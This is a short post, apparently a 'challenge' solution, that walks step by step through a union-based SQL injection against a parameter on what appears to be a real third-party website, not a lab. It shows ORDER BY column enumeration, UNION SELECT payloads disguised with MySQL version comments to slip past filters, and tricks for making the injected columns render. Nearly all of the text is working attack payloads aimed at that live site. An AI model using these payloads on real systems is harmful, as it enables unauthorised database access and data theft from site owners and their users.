SQLi-3 Solution

 

solution for {SQLi CHALLENGE }

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the link to test

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http://www.e-kinologija(.)com/prijave/show_entry.php?manifestation_id=184

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first let's get column count

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manifestation_id=184  order by 7 -- - error

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manifestation_id=184  order by 6 -- - no error column count is 6 

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http://www.e-kinologija(.)com/prijave/show_entry.php?manifestation_id=184 and 0 union /*!50000select*/ 1,2,3,4,5,6 -- -

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now there no Vulnerable Columns On Page

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I think you will now make all column null or search in source page

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but not all column need to be false , some column need to be true to fix like 1,1,1-- -

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http://www.e-kinologija(.)com/prijave/show_entry.php?manifestation_id=184 and 0 union /*!50000select*/ 1,1,1,1,1,1 -- -

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work good

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column 5 need to fix by make it true

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http://www.e-kinologija(.)com/prijave/show_entry.php?manifestation_id=184 and 0 union /*!50000select*/ 1,2,3,4,1,6 -- -

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and as ' false '  I can add ' true '  to column to fix it like

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1,2,3,4,true,6-- -

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so when you try to fix columns just try this method first

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false

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union select 0,0,0,0-- -

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true

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union select 1,1,1,1-- -

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Done